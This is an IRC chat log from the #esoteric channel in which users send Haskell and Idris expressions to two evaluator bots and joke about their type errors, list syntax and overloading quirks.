09prim_io_bind (mkForeignPrim (04FFun 04"putStr" 04[04FString04] 04FUnit) 04"Hello, world!\n" 13w) (\13x => 04prim__IO 13x)) : 12IO 12() < 1394721998 161473 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : < 1394722014 806364 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ooh, Idris has a non-opaque IO type < 1394722032 348458 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :a little disappointing that neither bot actually ran the IO action once it was produced, though < 1394722083 798375 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :To aid our color-challenged viewers: that's a red "MkIO", a pink "w", a bright green "prim_io_bind", a red "FFun .. \n", a pink "w" again, a pink "x", a red "prim__IO", a pink "x", and a blue "IO ()"; with all the rest in default color. < 1394722091 968879 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's like having a permanent `rainwords, almost. < 1394722145 506690 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: do you see why I turned color off now? :-) < 1394722146 726416 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: it's actually a red "FFun ... \n\"" < 1394722159 558162 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and it's, in my opinion, more purple than pink. < 1394722160 301228 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although the original cause was a bot that was outputting in black, using mIRC colored backgrounds < 1394722169 257858 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and thus produced output that was unreadable outside mIRC < 1394722190 263465 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott_: you may be using a different client or terminal than fizzie < 1394722196 301923 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :as in, it may actually be purple for you and pink for him < 1394722224 219444 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :elliott_: Yes, I made a mistake there; though looking closer, it seems to be separately a red "FFun .. FUnit" followed by a red "\"Hello, world!\\n\"". < 1394722236 857734 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :true. < 1394722240 453745 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you win this round. < 1394722245 191601 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :your prize is hosting the wiki < 1394722261 289709 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't like this game show. < 1394722298 585673 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> instance Show IO where show _ = "> hi" < 1394722298 918753 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: ":", < 1394722299 29574 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : end of input, operator < 1394722299 86155 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :instance Show IO where show _ = "> hi" < 1394722299 86399 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394722299 697028 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `instance' < 1394722313 574763 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well, you managed to produce a different error message in the two bots < 1394722315 392163 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :congratulations < 1394722368 252085 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :huh, Idris knows how to optimize addition into not being unary < 1394722380 39187 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :one of my colleagues at work was working on that for Agda < 1394722512 270542 :evalj!~jeval@51B6E3DC.dsl.pool.telekom.hu JOIN :#esoteric < 1394722526 84156 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's probably just special-cased. < 1394722554 294851 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It doesn't matter with agda, because no one expects to run agda code. < 1394722593 814179 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess explaining agda to programmers is like explaining game semantics to economists < 1394722605 912976 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the latter is a fun explanation, really < 1394722634 259180 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"it's sort-of like how games work in economics, but you know everyone's strategy in advance rather than trying to work it out, and you don't really care who wins, what you're interested in is whether the game will end at all" < 1394722705 926373 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> 2 ** 3 < 1394722706 260173 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:3: error: expected: "$", < 1394722706 481965 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "***", "+", < 1394722706 538636 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "++", "-", "->", ".", "/", "/=", < 1394722706 538786 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ":+", "::", "<", "<$", "<$>", < 1394722706 538879 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<*>", "<+>", "<->", "<<", "<=",14↵… < 1394722706 967086 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 8.0 < 1394722711 157406 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :bleh < 1394722758 251872 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> (1 ** [2]) < 1394722758 694974 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394722759 471148 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (GHC.Show.Show t0) < 1394722759 582425 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from a use of `M857856901971536584611453.show_M8578569019715365846... < 1394722759 639089 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : The type variable `t0' is ambiguous < 1394722759 639229 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible fix: add a type signature that fixes these type variable(s) < 1394722759 639376 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Note: there are several potential instances: < 1394722774 173209 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> (2 ** 3) < 1394722774 850205 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Num (P (09fromInteger 042)) < 1394722775 674057 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 8.0 < 1394722778 259798 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so close < 1394722786 84495 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> (2.0 ** 3.0) < 1394722786 418251 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394722786 781977 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Float < 1394722786 839472 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394722786 839620 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13P 042.0 < 1394722786 839713 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394722787 196392 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 8.0 < 1394722796 63729 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I always wonder if GHC actually used that many type variables internally. < 1394722858 126586 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :bleh, ** does something in the two languages, but I'm not sure we can construct something that's both an Idris predicate and a Haskell number < 1394722865 377667 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*something completely different < 1394722867 783728 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> (2 ** undefined) < 1394722868 5676 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:7:No such variable undefined < 1394722868 858267 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : *Exception: Prelude.undefined < 1394722919 256828 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :elliott: Isabelle/HOL manages to use binary without too much special-casing (the binary rewrite rules for nat are tagged "[code]") < 1394722950 940735 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Of course, numbers are still represented as church numerals, because who cares about constant factors. < 1394722985 782982 :variable!root@freebsd/developer/variable QUIT :Excess Flood < 1394722992 954973 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :is there anything lambdabot will interpret as numeric, that takes an argument? < 1394722993 216540 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com QUIT :Excess Flood < 1394722994 777272 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394723016 122790 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> 1 2 3 < 1394723017 341182 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Could not deduce (GHC.Num.Num < 1394723017 453853 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:3:Can't infer type for (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) (|(|fromInteger 2 , fromInteger 2 , |) , 2 , 2 , 2 , 2 , 2 , 2 , |) < 1394723017 512049 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : (GHC.Integer.Type.Integer -> GHC.Integer.Type.Integer ->... < 1394723017 568277 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from the ambiguity check for `e_1123' < 1394723017 568445 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : from the context (GHC.Num.Num (a -> a1 -> t), < 1394723017 568600 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : GHC.Num.Num a, < 1394723023 561327 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :That used to work. < 1394723029 975202 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com JOIN :#esoteric < 1394723066 713225 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@let instance Num a => Num (a -> a) where fromInteger = const < 1394723067 415539 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:171:23: < 1394723067 637784 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Could not deduce (a ~ Integer) < 1394723067 694792 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : from the context (Num a) < 1394723067 694943 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : bound by the instance declaration at .L.hs:170:10-32 < 1394723067 695034 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `a' is a rigid type variable bound by < 1394723083 536044 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@let instance Num a => Num (a -> a) where fromInteger = const . fromInteger < 1394723084 350808 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:170:10: Warning: < 1394723084 461607 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No explicit method or default declaration for `+' < 1394723084 518293 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : In the instance declaration for `Num (a -> a)' < 1394723084 518445 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : < 1394723084 518536 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:170:10: Warning: < 1394723092 655719 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> 1 2 3 < 1394723093 323765 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:3:Can't infer type for (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) (|(|fromInteger 2 , fromInteger 2 , |) , 2 , 2 , 2 , 2 , 2 , 2 , |) < 1394723093 380647 :nooodl!~nooodl@91.177.69.110 JOIN :#esoteric < 1394723093 805929 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Could not deduce (GHC.Num.Num < 1394723093 917542 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : (GHC.Integer.Type.Integer -> GHC.Integer.Type.Integer ->... < 1394723093 973880 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from the ambiguity check for `e_1123' < 1394723093 974060 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : from the context (GHC.Num.Num (a -> a1 -> t), < 1394723094 360253 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : GHC.Num.Num a, < 1394723151 903694 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I like Idris's error messages, not because they're useful, but because they hint at insane internal implementation details < 1394723166 487324 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@define < 1394723166 636391 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Define what? < 1394723168 470187 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1394723176 559224 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@undefun < 1394723176 781371 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Undefined. < 1394723180 828602 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@let instance Num a => Num (a -> a) where { fromInteger = const . fromInteger; (+)=(+); (-)=(-); (*)=(*); abs=abs; signum=signum } < 1394723182 93942 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1394723188 663862 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> 0 1 < 1394723189 108580 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:3:Can't infer type for (|(|fromInteger 0 , fromInteger 0 , |) , 0 , 0 , 0 , 0 , 0 , 0 , |) (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) < 1394723189 812577 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Could not deduce (GHC.Num.Num (GHC.Integer.Type.Integer -> t)) < 1394723190 34154 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from the ambiguity check for `e_101' < 1394723190 90803 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : from the context (GHC.Num.Num (a -> t), GHC.Num.Num a) < 1394723190 90997 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : bound by the inferred type for `e_101': < 1394723190 91094 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : (GHC.Num.Num (a -> t), GHC.Num.Num a) => t < 1394723238 141757 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> (0 :: Integer -> Integer) 1 < 1394723238 586138 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:27:Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394723239 470783 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 0 < 1394723317 379329 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :idris seems to have some sort of need to store each integer eight times. < 1394723324 622623 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :type annotations aren't going to work for this, Idris uses : and Haskell uses :: < 1394723354 38165 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> [] :: [] < 1394723354 370310 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil < 1394723355 258515 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Expecting one more argument to `[]' < 1394723365 727226 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> [] : [] < 1394723366 100724 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:4: error: expected: "$", < 1394723366 157698 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394723366 157864 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394723366 157955 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394723366 158086 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394723366 919631 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [[]] < 1394723370 18649 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Ping timeout: 268 seconds < 1394723375 46470 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> 0.0 < 1394723375 305838 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :040.0 : 12Float < 1394723376 232558 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 0.0 < 1394723393 819947 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> 0.0 6.6 < 1394723394 152495 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:5:040.0 does not have a function type (12Float) < 1394723394 930448 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Could not deduce (GHC.Real.Fractional (GHC.Types.Double -> t)) < 1394723395 41301 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from the ambiguity check for `e_10066' < 1394723395 98229 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : from the context (GHC.Real.Fractional (a -> t), < 1394723395 98384 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : GHC.Real.Fractional a) < 1394723395 98479 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : bound by the inferred type for `e_10066': < 1394723396 598102 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :sadly, neither seems to accept [] as the name of the type of an empty list < 1394723436 735117 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Surely that's () (up to isomorphism) < 1394723461 308891 :evalj!~jeval@51B6E3DC.dsl.pool.telekom.hu QUIT :Remote host closed the connection < 1394723513 83921 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :no, () is an empty tuple < 1394723518 994695 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> () :: () < 1394723519 328103 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394723519 994481 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : () < 1394723522 824652 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> () : () < 1394723523 85447 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:4: error: expected: "$", < 1394723523 308692 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394723523 365923 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394723523 366099 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394723523 366195 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394723523 885529 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Couldn't match expected type `[()]' with actual type `()' < 1394723531 634969 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and ::/: care about lists < 1394723545 830326 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although Idris has like five different sorts of lists and idris-ircslave seems unable to distinguish between them < 1394723547 924694 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> [1, 2, 3] < 1394723548 404632 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394723548 960194 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [1,2,3] < 1394723678 429811 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Advanced dependently typed language, cutting edge PLT, compiles to javascript, but appears unable to get syntax scoping right < 1394723688 705562 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I have reservations < 1394723903 672884 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Jafet: This is what you get when you overload and leave off a top-level type signature. < 1394723929 245152 :yorick!~yorick@oftn/member/yorick QUIT :Ping timeout: 240 seconds < 1394723935 641555 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, it's basically a case of an ambiguous overload < 1394723944 263924 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :[,] just desugars to :: and Nil. < 1394723950 138273 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> :t Nil < 1394723950 471066 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Data.HVect.Nil : 12HVect 04[] < 1394723950 581201 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.List.Nil : 12List 13a < 1394723950 637665 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Data.Vect.Quantifiers.Nil : 12All 13P 04[] < 1394723950 637815 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Vect.Nil : 12Vect 040 13a < 1394723951 136600 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394723955 843873 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> :t (::) < 1394723956 65910 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Data.HVect.:: : 13t -> (12HVect 13ts) -> 12HVect (13t 04:: 13ts) < 1394723956 178200 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.List.:: : 13a -> (12List 13a) -> 12List 13a < 1394723956 235208 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Data.Vect.Quantifiers.:: : (13P 13x) -> (12All 13P 13xs) -> 12All 13P (13x 04:: 13xs) < 1394723956 235358 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Stream.:: : 13a -> (12Lazy (12Stream 13a)) -> 12Stream 13a < 1394723956 623850 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394723958 62405 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Vect.:: : 13a -> (12Vect 13n 13a) -> 12Vect (04S 13n) 13a < 1394723974 140921 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> with Vect [1,2,3] < 1394723974 512966 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04104, 04204, 04304] : 12Vect 043 12Integer < 1394723975 174946 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `with'Not in scope: data constructor `Vect' < 1394723999 737273 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :< ais523> I like Idris's error messages, not because they're useful, but because they hint at insane internal implementation details – On that note: < 1394724037 745294 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> S (| "foo", Z, True |) < 1394724038 84364 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :041 : 12Nat < 1394724038 641195 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:4: parse error on input `|' < 1394724049 92833 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :So [1,2,3] is handled by normal syntax rules? < 1394724070 248572 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No, [,] is built-in sugar. < 1394724073 569049 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I haven't figured out what (| |) does yet, is it basically "out of these values, choose the one that has the correct type"? < 1394724080 445269 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ais523: Yes, just that. < 1394724089 906763 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :OK, then I have figured it out :-) < 1394724096 804997 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> (| 1, 2 |) < 1394724097 732714 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:2: parse error on input `|' < 1394724098 400299 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :041 : 12Integer < 1394724106 212189 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, "any one that has the correct type" < 1394724108 751986 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :The first one, note. < 1394724134 837185 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :> fix < 1394724135 58301 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:No such variable fix < 1394724135 723860 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394724135 834632 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (Data.Typeable.Internal.Typeable a0) < 1394724136 55637 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from a use of `M299318430146378453612262.show_M2993184301463784536... < 1394724136 112816 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : The type variable `a0' is ambiguous < 1394724136 112953 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible fix: add a type signature that fixes these type variable(s) < 1394724136 113044 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Note: there are several potential instances: < 1394724150 803811 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@morale < 1394724178 111915 :Slereahphone!~slereahph@80.10.159.144 QUIT :Remote host closed the connection < 1394724197 291509 :Slereahphone!~slereahph@80.10.159.144 JOIN :#esoteric < 1394724198 697665 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :> [True, S Z, "foo"] < 1394724199 31790 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04True04, 04104, 04"foo"04] : 12HVect 04[12Bool04, 12Nat04, 12String04] < 1394724199 587948 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: data constructor `S'Not in scope: data constructor `Z' < 1394724231 832242 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Melvar: I'm reading the tutorial: is there any easy way to desugar a proof back into a program? < 1394724279 602298 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394724320 913281 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I don’t think so. < 1394724343 440774 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, that's disappointing < 1394724368 323238 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I mean, it generates a term internally, but I don’t know of any way to get it out. < 1394724369 210293 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`addquote you win this round. your prize is hosting the wiki I don't like this game show. < 1394724371 216902 